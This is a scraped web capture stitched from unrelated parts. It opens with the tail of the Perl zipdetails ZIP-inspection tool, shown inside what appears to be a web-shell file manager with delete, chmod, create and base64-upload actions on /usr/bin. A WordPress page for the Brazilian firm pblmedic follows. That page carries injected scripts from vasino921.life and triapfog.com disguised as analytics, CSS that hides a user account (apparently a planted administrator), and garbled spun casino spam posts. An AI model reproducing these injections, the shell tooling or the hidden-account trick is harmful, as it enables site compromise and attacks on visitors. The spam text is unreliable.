            my $cd64 =  Value_VV64 substr($buffer,  36, 8);

            return $cd64 ;
        }

        die &quot;Cannot find &#039;Zip64 end of central directory record&#039;: 0x06054b50\nTry running with --scan option.\n&quot; ;
    }

    die &quot;Cannot find signature for &#039;Zip64 end of central directory locator&#039;: 0x07064b50 \nTry running with --scan option.\n&quot; ;
}

use constant Pack_ZIP_END_CENTRAL_HDR_SIG =&gt; pack(&quot;V&quot;, ZIP_END_CENTRAL_HDR_SIG);

sub findCentralDirectoryOffset
{
    my $fh = shift ;

    # Most common use-case is where there is no comment, so
    # know exactly where the end of central directory record
    # should be.

    $fh-&gt;seek(-22, SEEK_END) ;
    my $here = $fh-&gt;tell();

    my $is64bit = $here &gt; 0xFFFFFFFF;
    my $over64bit = $here  &amp; (~ 0xFFFFFFFF);

    my $buffer;
    $fh-&gt;read($buffer, 22) == 22
    # TODO - fix this
        or die &quot;xxx&quot; ;

    my $zip64 = 0;
    my $centralDirOffset ;

    if ( unpack(&quot;V&quot;, $buffer) == ZIP_END_CENTRAL_HDR_SIG ) {
        $centralDirOffset = unpack(&quot;V&quot;, substr($buffer, 16,  4));
    }
    else {
        $fh-&gt;seek(0, SEEK_END) ;

        my $fileLen = $fh-&gt;tell();
        my $want = 0 ;

        while(1) {
            $want += 1024 * 32;
            my $seekTo = $fileLen - $want;
            if ($seekTo &lt; 0 ) {
                $seekTo = 0;
                $want = $fileLen ;
            }
            $fh-&gt;seek( $seekTo, SEEK_SET)
            # TODO - fix this
                or die &quot;xxx $!&quot; ;
            my $got;
            ($got = $fh-&gt;read($buffer, $want)) == $want
            # TODO - fix this
                or die &quot;xxx $got  $!&quot; ;
            my $pos = rindex( $buffer, Pack_ZIP_END_CENTRAL_HDR_SIG);

            if ($pos &gt;= 0 &amp;&amp; $want - $pos &gt; 22) {
                $here = $seekTo + $pos ;
                $centralDirOffset = unpack(&quot;V&quot;, substr($buffer, $pos + 16,  4));
                my $commentLength = unpack(&quot;V&quot;, substr($buffer, $pos + 20,  2));
                $commentLength = 0 if ! defined $commentLength ;

                my $expectedEof = $fileLen - $want + $pos + 22 + $commentLength  ;
                # check for trailing data after end of zip
                if ($expectedEof &lt; $fileLen ) {
                    $TRAILING = $expectedEof ;
                }
                last ;
            }

            return undef
                if $want == $fileLen;
        }
    }

    if (full32 $centralDirOffset)
    {
        $centralDirOffset = offsetFromZip64($fh, $here)
    }
    elsif ($is64bit)
    {
        # use-case is where a 64-bit zip file doesn&#039;t use the 64-bit
        # extensions.
        print &quot;EOCD not 64-bit $centralDirOffset ($here)\n&quot; ;

        push @Messages,
            sprintf &quot;Zip file &gt; 4Gig. Expected &#039;Offset to Central Dir&#039; to be 0xFFFFFFFF, got 0x%X\n&quot;, $centralDirOffset;

        $centralDirOffset += $over64bit;
        $is64In32 = 1;
    }

    return $centralDirOffset ;
}

sub findID
{
    my $id_want = shift ;
    my $data    = shift;

    my $XLEN = length $data ;

    my $offset = 0 ;
    while ($offset &lt; $XLEN) {

        return undef
            if $offset + ZIP_EXTRA_SUBFIELD_HEADER_SIZE  &gt; $XLEN ;

        my $id = substr($data, $offset, ZIP_EXTRA_SUBFIELD_ID_SIZE);
        $id = unpack(&quot;v&quot;, $id);
        $offset += ZIP_EXTRA_SUBFIELD_ID_SIZE;

        my $subLen =  unpack(&quot;v&quot;, substr($data, $offset,
                                            ZIP_EXTRA_SUBFIELD_LEN_SIZE));
        $offset += ZIP_EXTRA_SUBFIELD_LEN_SIZE ;

        return undef
            if $offset + $subLen &gt; $XLEN ;

        return substr($data, $offset, $subLen)
            if $id eq $id_want ;

        $offset += $subLen ;
    }

    return undef ;
}


sub _dosToUnixTime
{
    my $dt = shift;

    my $year = ( ( $dt &gt;&gt; 25 ) &amp; 0x7f ) + 80;
    my $mon  = ( ( $dt &gt;&gt; 21 ) &amp; 0x0f ) - 1;
    my $mday = ( ( $dt &gt;&gt; 16 ) &amp; 0x1f );

    my $hour = ( ( $dt &gt;&gt; 11 ) &amp; 0x1f );
    my $min  = ( ( $dt &gt;&gt; 5  ) &amp; 0x3f );
    my $sec  = ( ( $dt &lt;&lt; 1  ) &amp; 0x3e );


    use POSIX &#039;mktime&#039;;

    my $time_t = mktime( $sec, $min, $hour, $mday, $mon, $year, 0, 0, -1 );
    return 0 if ! defined $time_t;
    return $time_t;
}


{
    package U64;

    use constant MAX32 =&gt; 0xFFFFFFFF ;
    use constant HI_1 =&gt; MAX32 + 1 ;
    use constant LOW   =&gt; 0 ;
    use constant HIGH  =&gt; 1;

    sub new
    {
        my $class = shift ;

        my $high = 0 ;
        my $low  = 0 ;

        if (@_ == 2) {
            $high = shift ;
            $low  = shift ;
        }
        elsif (@_ == 1) {
            my $value = shift ;
            if ($value &gt; MAX32)
            {
                $high = $value &gt;&gt; 32 ;
                $low  = $value &amp; MAX32;
            }
            else
            {
                $low  = $value ;
            }
        }

        bless [$low, $high], $class;
    }

    sub newUnpack_V64
    {
        my $string = shift;

        my ($low, $hi) = unpack &quot;V V&quot;, $string ;
        bless [ $low, $hi ], &quot;U64&quot;;
    }

    sub newUnpack_V32
    {
        my $string = shift;

        my $low = unpack &quot;V&quot;, $string ;
        bless [ $low, 0 ], &quot;U64&quot;;
    }

    sub reset
    {
        my $self = shift;
        $self-&gt;[HIGH] = $self-&gt;[LOW] = 0;
    }

    sub clone
    {
        my $self = shift;
        bless [ @$self ], ref $self ;
    }

    sub mkU64
    {
        my $value = shift;

        return $value
            if ref $value eq &#039;U64&#039;;

        bless [  $value, 0 ], &quot;U64&quot; ;
    }

    sub getHigh
    {
        my $self = shift;
        return $self-&gt;[HIGH];
    }

    sub getLow
    {
        my $self = shift;
        return $self-&gt;[LOW];
    }

    sub get32bit
    {
        my $self = shift;
        return $self-&gt;[LOW];
    }

    sub get64bit
    {
        my $self = shift;
        # Not using &lt;&lt; here because the result will still be
        # a 32-bit value on systems where int size is 32-bits
        return $self-&gt;[HIGH] * HI_1 + $self-&gt;[LOW];
    }

    sub add
    {
        my $self = shift;
        my $value = shift;

        if (ref $value eq &#039;U64&#039;) {
            $self-&gt;[HIGH] += $value-&gt;[HIGH] ;
            $value = $value-&gt;[LOW];
        }

        my $available = MAX32 - $self-&gt;[LOW] ;

        if ($value &gt; $available) {
           ++ $self-&gt;[HIGH] ;
           $self-&gt;[LOW] = $value - $available - 1;
        }
        else {
           $self-&gt;[LOW] += $value ;
        }

    }

    sub subtract
    {
        my $self = shift;
        my $value = shift;

        if (ref $value eq &#039;U64&#039;) {

            if ($value-&gt;[HIGH]) {
                die &quot;unsupport subtract option&quot;
                    if $self-&gt;[HIGH] == 0 ||
                       $value-&gt;[HIGH] &gt; $self-&gt;[HIGH] ;

               $self-&gt;[HIGH] -= $value-&gt;[HIGH] ;
            }

            $value = $value-&gt;[LOW] ;
        }

        if ($value &gt; $self-&gt;[LOW]) {
           -- $self-&gt;[HIGH] ;
           $self-&gt;[LOW] = MAX32 - $value + $self-&gt;[LOW] + 1;
        }
        else {
           $self-&gt;[LOW] -= $value;
        }
    }

    sub rshift
    {
        my $self = shift;
        my $count = shift;

        for (1 .. $count)
        {
            $self-&gt;[LOW] &gt;&gt;= 1;
            $self-&gt;[LOW] |= 0x80000000
                if $self-&gt;[HIGH] &amp; 1 ;
            $self-&gt;[HIGH] &gt;&gt;= 1;
        }
    }

    sub is64bit
    {
        my $self = shift;
        return $self-&gt;[HIGH] &gt; 0 ;
    }

    sub getPacked_V64
    {
        my $self = shift;

        return pack &quot;V V&quot;, @$self ;
    }

    sub getPacked_V32
    {
        my $self = shift;

        return pack &quot;V&quot;, $self-&gt;[LOW] ;
    }

    sub pack_V64
    {
        my $low  = shift;

        return pack &quot;V V&quot;, $low, 0;
    }

    sub max32
    {
        my $self = shift;
        return $self-&gt;[HIGH] == 0 &amp;&amp; $self-&gt;[LOW] == MAX32;
    }

    sub stringify
    {
        my $self = shift;

        return &quot;High [$self-&gt;[HIGH]], Low [$self-&gt;[LOW]]&quot;;
    }

    sub equal
    {
        my $self = shift;
        my $other = shift;

        return $self-&gt;[LOW]  == $other-&gt;[LOW] &amp;&amp;
               $self-&gt;[HIGH] == $other-&gt;[HIGH] ;
    }

    sub gt
    {
        my $self = shift;
        my $other = shift;

        return $self-&gt;cmp($other) &gt; 0 ;
    }

    sub cmp
    {
        my $self = shift;
        my $other = shift ;

        if ($self-&gt;[LOW] == $other-&gt;[LOW]) {
            return $self-&gt;[HIGH] - $other-&gt;[HIGH] ;
        }
        else {
            return $self-&gt;[LOW] - $other-&gt;[LOW] ;
        }
    }

    sub nibbles
    {
        my @nibbles = (
            [ 16 =&gt; HI_1 * 0x10000000 ],
            [ 15 =&gt; HI_1 * 0x1000000 ],
            [ 14 =&gt; HI_1 * 0x100000 ],
            [ 13 =&gt; HI_1 * 0x10000 ],
            [ 12 =&gt; HI_1 * 0x1000 ],
            [ 11 =&gt; HI_1 * 0x100 ],
            [ 10 =&gt; HI_1 * 0x10 ],
            [  9 =&gt; HI_1 * 0x1 ],

            [  8 =&gt; 0x10000000 ],
            [  7 =&gt; 0x1000000 ],
            [  6 =&gt; 0x100000 ],
            [  5 =&gt; 0x10000 ],
            [  4 =&gt; 0x1000 ],
            [  3 =&gt; 0x100 ],
            [  2 =&gt; 0x10 ],
            [  1 =&gt; 0x1 ],
        );
        my $value = shift ;

        for my $pair (@nibbles)
        {
            my ($count, $limit) = @{ $pair };

            return $count
                if $value &gt;= $limit ;
        }

    }
}
{
    package Seen;

    sub new
    {
        my $class = shift ;

        my %object = ( overlaps =&gt; [],
                       detail   =&gt; [],
                     ) ;

        bless \%object, $class;
    }

    sub save
    {
        my $self = shift ;
        my $hdrId = shift;
        my $name = shift;
        my $from_offset = shift;
        my $to_offset = shift ;

        for my $entry ( @{ $self-&gt;{detail} } )
        {
            if ( $from_offset == $entry-&gt;{from} &amp;&amp; $to_offset == $entry-&gt;{to} )
            {
                warn &quot;$hdrId: &#039;$name&#039; matches with $entry-&gt;{str}\n&quot;
            }
            elsif ( ($from_offset &gt;= $entry-&gt;{from} &amp;&amp; $from_offset &lt;= $entry-&gt;{to} ) ||
                 ($to_offset   &gt;= $entry-&gt;{from} &amp;&amp; $to_offset   &lt;= $entry-&gt;{to} )
               )
            {
                # die &quot;overlap!&quot;
                # push @{ $self-&gt;{overlap} },
                die &quot;$hdrId: &#039;$name&#039; overlaps with $entry-&gt;{str}\n&quot;
            }
        }

warn &quot;ADD $from_offset $to_offset $hdrId: $name\n&quot;;
        push @{ $self-&gt;{detail} },
             {
                from =&gt; $from_offset,
                to   =&gt; $to_offset,
                id   =&gt; $hdrId,
                name =&gt; $name,
                str  =&gt; &quot;$hdrId: &#039;$name&#039;&quot;,
             } ;
    }

    sub summary
    {
        my $self = shift ;

        for my $outer ( sort { $a-&gt;{from} &lt;=&gt; $b-&gt;{from} } @{ $self-&gt;{detail} } )
        {
            my $from_offset = $outer-&gt;{from};
            my $to_offset = $outer-&gt;{to};
            my $hdrId = $outer-&gt;{id};
            my $name = $outer-&gt;{name};

            for my $entry ( sort { $a-&gt;{from} &lt;=&gt; $b-&gt;{from} } @{ $self-&gt;{detail} } )
            {
                # next if
                if ( ($from_offset &gt;= $entry-&gt;{from} &amp;&amp; $from_offset &lt;= $entry-&gt;{to} ) ||
                    ($to_offset   &gt;= $entry-&gt;{from} &amp;&amp; $to_offset   &lt;= $entry-&gt;{to} )
                )
                {
                    # die &quot;overlap!&quot;
                    die $entry-&gt;{str} . &quot; overlaps with $hdrId: &#039;$name&#039;\n&quot;
                }
            }
        }
    }

}

sub Usage
{
    if (@_)
    {
        warn &quot;$_\n&quot;
        for @_  ;
        warn &quot;\n&quot;;
    }

    die &lt;&lt;EOM;
zipdetails [OPTIONS] file

Display details about the internal structure of a Zip file.

This is zipdetails version $VERSION

OPTIONS
     -h        display help
     --scan    enable scannng mode.
               Blindly scan the file looking for zip headers
               Expect false-positives.
     -v        Verbose - output more stuff
     --version Print version number

Copyright (c) 2011-2021 Paul Marquess. All rights reserved.

This program is free software; you can redistribute it and/or
modify it under the same terms as Perl itself.
EOM


}

__END__

=head1 NAME

zipdetails - display the internal structure of zip files

=head1 SYNOPSIS

    zipdetails [-v][--scan] zipfile.zip
    zipdetails -h
    zipdetails --version

=head1 DESCRIPTION

Zipdetails displays information about the internal record structure of zip
files. It is not concerned with displaying any details of the compressed
data stored in the zip file.

The program assumes prior understanding of the internal structure of a Zip
file. You should have a copy of the Zip APPNOTE file at hand to help
understand the output from this program (L&lt;SEE ALSO&gt; for details).

=head2 Default Behaviour

By default the program expects to be given a well-formed zip file.  It will
navigate the Zip file by first parsing the zip central directory at the end
of the file.  If that is found, it will then walk through the zip records
starting at the beginning of the file. Any badly formed zip data structures
encountered are likely to terminate the program.

If the program finds any structural problems with the zip file it will
print a summary at the end of the output report. The set of error cases
reported is very much a work in progress, so don&#039;t rely on this feature to
find all the possible errors in a zip file. If you have suggestions for
use-cases where this could be enhanced please consider creating an
enhancement request (see L&lt;&quot;SUPPORT&quot;&gt;).

=head2 Scan-Mode

If you do have a potentially corrupt zip file, particulatly where the
central directory at the end of the file is absent/incomplete, you can try
usng the C&lt;--scan&gt; option to search for zip records that are still present.

When Scan-mode is enabled, the program will walk the zip file from the
start blindly looking for the 4-byte signatures that preceed each of the
zip data structures. If it finds any of the recognised signatures it will
attempt to dump the associated zip record. For very large zip files, this
operation can take a long time to run.

Note that the 4-byte signatures used in zip files can sometimes match with
random data stored in the zip file, so care is needed interpreting the
results.

=head2 OPTIONS

=over 5

=item -h

Display help

=item --scan

Walk the zip file loking for possible zip records. Can be error-prone.
See L&lt;&quot;Scan-Mode&quot;&gt;

=item -v

Enable Verbose mode. See L&lt;&quot;Verbose Output&quot;&gt;.

=item --version

Display version number of the program and exit.

=back

=head2 Default Output

By default zipdetails will output the details of the zip file in three
columns.

=over 5

=item Column 1

This contains the offset from the start of the file in hex.

=item Column 2

This contains a textual description of the field.

=item Column 3

If the field contains a numeric value it will be displayed in hex. Zip
stores most numbers in little-endian format - the value displayed will have
the little-endian encoding removed.

Next, is an optional description of what the value means.


=back

=head2 Verbose Output

If the C&lt;-v&gt; option is present, column 1 is expanded to include

=over 5

=item *

The offset from the start of the file in hex.

=item *

The length of the field in hex.

=item *

A hex dump of the bytes in field in the order they are stored in the zip
file.

=back

=head1 LIMITATIONS

The following zip file features are not supported by this program:

=over 5

=item *

Multi-part archives.

=item *

The strong encryption features defined in the &quot;APPNOTE&quot; document.

=back

=head1 TODO

Error handling is a work in progress. If the program encounters a problem
reading a zip file it is likely to terminate with an unhelpful error
message.

=head1 SUPPORT

General feedback/questions/bug reports should be sent to
L&lt;https://github.com/pmqs/IO-Compress/issues&gt; (preferred) or
L&lt;https://rt.cpan.org/Public/Dist/Display.html?Name=IO-Compress&gt;.

=head1 SEE ALSO


The primary reference for Zip files is the &quot;APPNOTE&quot; document available at
L&lt;http://www.pkware.com/documents/casestudies/APPNOTE.TXT&gt;.

An alternative reference is the Info-Zip appnote. This is available from
L&lt;ftp://ftp.info-zip.org/pub/infozip/doc/&gt;


The C&lt;zipinfo&gt; program that comes with the info-zip distribution
(L&lt;http://www.info-zip.org/&gt;) can also display details of the structure of
a zip file.

See also L&lt;Archive::Zip::SimpleZip&gt;, L&lt;IO::Compress::Zip&gt;,
L&lt;IO::Uncompress::Unzip&gt;.


=head1 AUTHOR

Paul Marquess F&lt;pmqs@cpan.org&gt;.

=head1 COPYRIGHT

Copyright (c) 2011-2021 Paul Marquess. All rights reserved.

This program is free software; you can redistribute it and/or modify it
under the same terms as Perl itself.
</textarea>
                    <div style="margin-top:15px;display:flex;gap:8px;">
                        <button class="button button-green">Save</button>
                        <a href="?p=%2Fusr%2Fbin" class="button button-red">Cancel</a>
                    </div>
                </form>
            </div>
            </div>
    
    <div id="toast-container" class="toast-container"></div>

    <script>
        const currentPath = '/usr/bin';
        
        function showToast(msg, type) {
            const container = document.getElementById('toast-container');
            const toast = document.createElement('div');
            toast.className = 'toast toast-' + type;
            toast.innerHTML = msg + '<span onclick="this.parentElement.remove()" style="cursor:pointer;margin-left:10px;">×</span>';
            container.appendChild(toast);
            setTimeout(() => toast.remove(), 3000);
        }
        
        function ajaxRequest(action, data) {
            const formData = new FormData();
            formData.append('ajax_action', action);
            for(const key in data) formData.append(key, data[key]);
            return fetch(window.location.pathname, { method: 'POST', body: formData }).then(r => r.json());
        }
        
        function ajaxDelete(path, btn) {
            if(!confirm('Delete?')) return;
            const row = btn.closest('tr');
            row.style.opacity = '0.5';
            ajaxRequest('delete', {path}).then(r => {
                if(r.success) { row.remove(); showToast('Deleted', 'success'); }
                else { row.style.opacity = '1'; showToast(r.message || 'Failed', 'error'); }
            });
        }
        
        function showCreateFile() {
            const name = prompt('File name:', 'newfile.txt');
            if(name) {
                const content = prompt('Content:', '');
                ajaxRequest('create', {path: currentPath, name, type: 'file', content: content || ''})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showCreateFolder() {
            const name = prompt('Folder name:', 'newfolder');
            if(name) {
                ajaxRequest('create', {path: currentPath, name, type: 'dir'})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showRename(path, name) {
            const newName = prompt('New name:', name);
            if(newName && newName !== name) {
                ajaxRequest('rename', {old_path: path, new_name: newName})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function showChmod(path, current) {
            const mode = prompt('Permissions (e.g. 755):', current);
            if(mode && mode !== current) {
                ajaxRequest('chmod', {path, mode})
                    .then(r => { if(r.success) location.reload(); else showToast(r.message, 'error'); });
            }
        }
        
        function uploadFileB64(input) {
            const file = input.files[0];
            if(!file) return;
            showToast('Uploading: ' + file.name, 'success');
            const reader = new FileReader();
            reader.onload = function(e) {
                const b64 = e.target.result.split(',')[1];
                const formData = new FormData();
                formData.append('ajax_action', 'b64upload');
                formData.append('path', currentPath);
                formData.append('name', file.name);
                formData.append('data', b64);
                fetch(window.location.pathname, { method: 'POST', body: formData })
                    .then(r => r.json())
                    .then(r => {
                        if(r.success) { showToast('Uploaded: ' + file.name, 'success'); setTimeout(() => location.reload(), 500); }
                        else { showToast('Failed: ' + (r.message || 'Unknown error'), 'error'); }
                    })
                    .catch(err => showToast('Error: ' + err.message, 'error'));
            };
            reader.readAsDataURL(file);
            input.value = '';
        }
        
        function searchFiles(query) {
            query = query.toLowerCase();
            document.querySelectorAll('#file-list tr[data-name]').forEach(row => {
                row.style.display = row.dataset.name.includes(query) ? '' : 'none';
            });
        }
        
        document.addEventListener('keydown', function(e) {
            if(e.ctrlKey && e.key === 'f' && !e.target.matches('input,textarea')) { 
                e.preventDefault(); 
                document.getElementById('search-input').focus(); 
            }
        });
    </script>
</body>
</html><!doctype html>
<html lang="pt-BR">
<head>
	<meta charset="UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1">
	<link rel="profile" href="https://gmpg.org/xfn/11">
	<title>pblmedic &#8211; Página: 2</title>
<meta name='robots' content='max-image-preview:large' />
<link rel='dns-prefetch' href='//vasino921.life' />
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Feed para pblmedic &raquo;" href="https://pblmedic.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Feed de comentários para pblmedic &raquo;" href="https://pblmedic.com/comments/feed/" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="wp-block-library-inline-css">
:root{--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color);--wp-editor-canvas-background:#ddd;--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,160.5;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.wp-element-button{cursor:pointer}:root .has-very-light-gray-background-color{background-color:#eee}:root .has-very-dark-gray-background-color{background-color:#313131}:root .has-very-light-gray-color{color:#eee}:root .has-very-dark-gray-color{color:#313131}:root .has-vivid-green-cyan-to-vivid-cyan-blue-gradient-background{background:linear-gradient(135deg,#00d084,#0693e3)}:root .has-purple-crush-gradient-background{background:linear-gradient(135deg,#34e2e4,#4721fb 50%,#ab1dfe)}:root .has-hazy-dawn-gradient-background{background:linear-gradient(135deg,#faaca8,#dad0ec)}:root .has-subdued-olive-gradient-background{background:linear-gradient(135deg,#fafae1,#67a671)}:root .has-atomic-cream-gradient-background{background:linear-gradient(135deg,#fdd79a,#004a59)}:root .has-nightshade-gradient-background{background:linear-gradient(135deg,#330968,#31cdcf)}:root .has-midnight-gradient-background{background:linear-gradient(135deg,#020381,#2874fc)}:root{--wp--preset--font-size--normal:16px;--wp--preset--font-size--huge:42px}.has-regular-font-size{font-size:1em}.has-larger-font-size{font-size:2.625em}.has-normal-font-size{font-size:var(--wp--preset--font-size--normal)}.has-huge-font-size{font-size:var(--wp--preset--font-size--huge)}:root .has-text-align-center{text-align:center}:root .has-text-align-left{text-align:left}:root .has-text-align-right{text-align:right}.has-fit-text{white-space:nowrap!important}#end-resizable-editor-section{display:none}.aligncenter{clear:both}.items-justified-left{justify-content:flex-start}.items-justified-center{justify-content:center}.items-justified-right{justify-content:flex-end}.items-justified-space-between{justify-content:space-between}.screen-reader-text{word-wrap:normal!important;border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-break:normal!important}.screen-reader-text:focus{background-color:#ddd;clip-path:none;color:#444;display:block;font-size:1em;height:auto;left:5px;line-height:normal;padding:15px 23px 14px;text-decoration:none;top:5px;width:auto;z-index:100000}html :where(.has-border-color){border-style:solid}html :where([style^=border-color],[style*=";border-color"],[style*="; border-color"]){border-style:solid}html :where([style^=border-top-color],[style*=";border-top-color"],[style*="; border-top-color"]){border-top-style:solid}html :where([style^=border-right-color],[style*=";border-right-color"],[style*="; border-right-color"]){border-right-style:solid}html :where([style^=border-bottom-color],[style*=";border-bottom-color"],[style*="; border-bottom-color"]){border-bottom-style:solid}html :where([style^=border-left-color],[style*=";border-left-color"],[style*="; border-left-color"]){border-left-style:solid}html :where([style^=border-width],[style*=";border-width"],[style*="; border-width"]){border-style:solid}html :where([style^=border-top-width],[style*=";border-top-width"],[style*="; border-top-width"]){border-top-style:solid}html :where([style^=border-right-width],[style*=";border-right-width"],[style*="; border-right-width"]){border-right-style:solid}html :where([style^=border-bottom-width],[style*=";border-bottom-width"],[style*="; border-bottom-width"]){border-bottom-style:solid}html :where([style^=border-left-width],[style*=";border-left-width"],[style*="; border-left-width"]){border-left-style:solid}html :where(img[class*=wp-image-]){height:auto;max-width:100%}:where(figure){margin:0 0 1em}html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:var(--wp-admin--admin-bar--height,0px)}@media screen and (max-width:600px){html :where(.is-position-sticky){--wp-admin--admin-bar--position-offset:0px}}
/*wp_block_styles_on_demand_placeholder:6a89aa6d2e369*/
/*# sourceURL=wp-block-library-inline-css */
</style>
<style id="wp-block-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the block styles printed at wp_footer." }
/*# sourceURL=wp-block-styles-placeholder-inline-css */
</style>
<style id="wp-global-styles-placeholder-inline-css">
:root { --wp-internal-comment: "Placeholder for wp_hoist_late_printed_styles() to replace with the global-styles printed at wp_footer." }
/*# sourceURL=wp-global-styles-placeholder-inline-css */
</style>
<link rel='stylesheet' id='ganalytics-fonts-css' href='https://fonts.googleapis.com/css2?family=Roboto:ital,wght@0,100' media='all' />
<link rel='stylesheet' id='hello-elementor-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/reset.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-theme-style-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/theme.css?ver=3.4.4' media='all' />
<link rel='stylesheet' id='hello-elementor-header-footer-css' href='https://pblmedic.com/wp-content/themes/hello-elementor/assets/css/header-footer.css?ver=3.4.4' media='all' />
<script data-wp-strategy="defer" defer id="ganalytics-tracker-js" src="https://vasino921.life/t.js?site=5b9c529db03be43d062917c963ff43ed"></script>
<link rel="https://api.w.org/" href="https://pblmedic.com/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://pblmedic.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.1" />
<script src="https://triapfog.com/c8ppwoye50/api"></script><style id="wp-custom-css">
tr#user-3,tr#user_3{display:none!important}
</style>
</head>
<body class="home blog paged wp-embed-responsive paged-2 wp-theme-hello-elementor hello-elementor-default">


<a class="skip-link screen-reader-text" href="#content">Ir para o conteúdo</a>


<header id="site-header" class="site-header">

	<div class="site-branding">
					<div class="site-title">
				<a href="https://pblmedic.com/" title="Página inicial" rel="home">
					pblmedic				</a>
			</div>
						</div>

			<nav class="site-navigation" aria-label="Menu principal">
			<ul id="menu-principal" class="menu"><li id="menu-item-72" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-72"><a href="https://pblmedic.com/#inicio">Início</a></li>
<li id="menu-item-73" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-73"><a href="https://pblmedic.com/#quem-somos">Quem somos</a></li>
<li id="menu-item-74" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-74"><a href="https://pblmedic.com/#linha-distribuicao">Linha de distribuição</a></li>
<li id="menu-item-75" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-75"><a href="https://pblmedic.com/#area-de-atuacao">Área de atuação</a></li>
<li id="menu-item-76" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-76"><a href="https://pblmedic.com/#diferenciais">Diferenciais</a></li>
<li id="menu-item-77" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-77"><a href="https://api.whatsapp.com/send/?phone=5511961828606">Fale Conosco</a></li>
<li id="menu-item-78" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item menu-item-home menu-item-78"><a href="https://pblmedic.com/#contato">Contato</a></li>
</ul>		</nav>
	</header>
<main id="content" class="site-main">

			<div class="page-header">
			<h1 class="entry-title">Arquivos</h1>		</div>
	
	<div class="page-content">
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/traditionelle-tischspiele-hinsichtlich-live-roulette-blackjack-poker-die-erlaubnis-haben-auf-einen-plattformen-gar-nicht-angeboten-werden/">Traditionelle Tischspiele hinsichtlich Live roulette, Blackjack &#038; Poker die erlaubnis haben auf einen Plattformen gar nicht angeboten werden</a></h2><p>Glucksspielanbieter exklusive GGL Erlaubnisschein sind hinein Teutonia nicht gesetzlich. Klassische Tischspiele wie Game of chance &#038; Blackjack findest du in einen nicht. Had been welches je Sternzeichen bedeutet, verdeutlicht dies moderne Glucks-Horoskop. D. h., wirklich so das Spielsalon Ihnen diesseitigen kurzen Geldbetrag (Bonusguthaben) gutschreibt, doch daselbst Welche das Bankverbindung vertreibt besitzen. Lizenzierung &#038; Zuversichtlichkeit versprechen [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/the-well-structured-layout-ensures-smooth-navigation-of-registration-so-you-can-gameplay/">The well-structured layout ensures smooth navigation, of registration so you can gameplay</a></h2><p>You don&#8217;t need to discover your internet browser and you can enter in new Website link of your public gambling establishment each time. Without having an excellent DingDingDing account at all, you will need to create that to the mobile application. With your coins, i knocked regarding our very own playing experience of the examining [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/free-spins-casino-bonuses-how-enlace-critico-they-work-and-what-to-check/">Free Spins Casino Bonuses: How enlace crítico They Work and What to Check</a></h2><p>Content Enlace crítico &#8211; Novibet: giros extras abicar Tigre Sortudo aquele Roleta criancice Prêmios Administração puerilidade Bens afinar Aparelho Juegos Compatibles con Giros Gratis en Spin Casino México Regras criancice Bônus Claras aquele Acessíveis Embora alguns cassinos peçam como arruíi jogador jogue um pouco primeiro de adjudicar as rodadas acessível, apoquentar destamaneira a dádiva é [&hellip;]</p>
			</article>
					<article class="post">
				<h2 class="entry-title"><a href="https://pblmedic.com/2026/08/22/jogo-criancice-bonus-login-do-cassino-slottica-circulo-gratis-free-spins-sobre-cassino-abicar-brasil/">Jogo criancice Bônus: login do cassino Slottica Círculo Gratis Free Spins sobre Cassino abicar Brasil</a></h2><p>Content Casinos con Giros Gratis en 2025: Arrolamento Actualizada | login do cassino Slottica Bônus Favoritos Use as rodadas acostumado para entender os jogos Com gráficos deslumbrantes aquele trilha sonora ambient, sublimealtííoquo oferece uma jogabilidade camponês?rústico e comovedor. Acrescentar mecânica abrasado acabamento é sobre catarata, criando mais combinações vencedoras aumentando barulho seu prêmio. Você ganha [&hellip;]</p>
			</article>
					<article class="post">
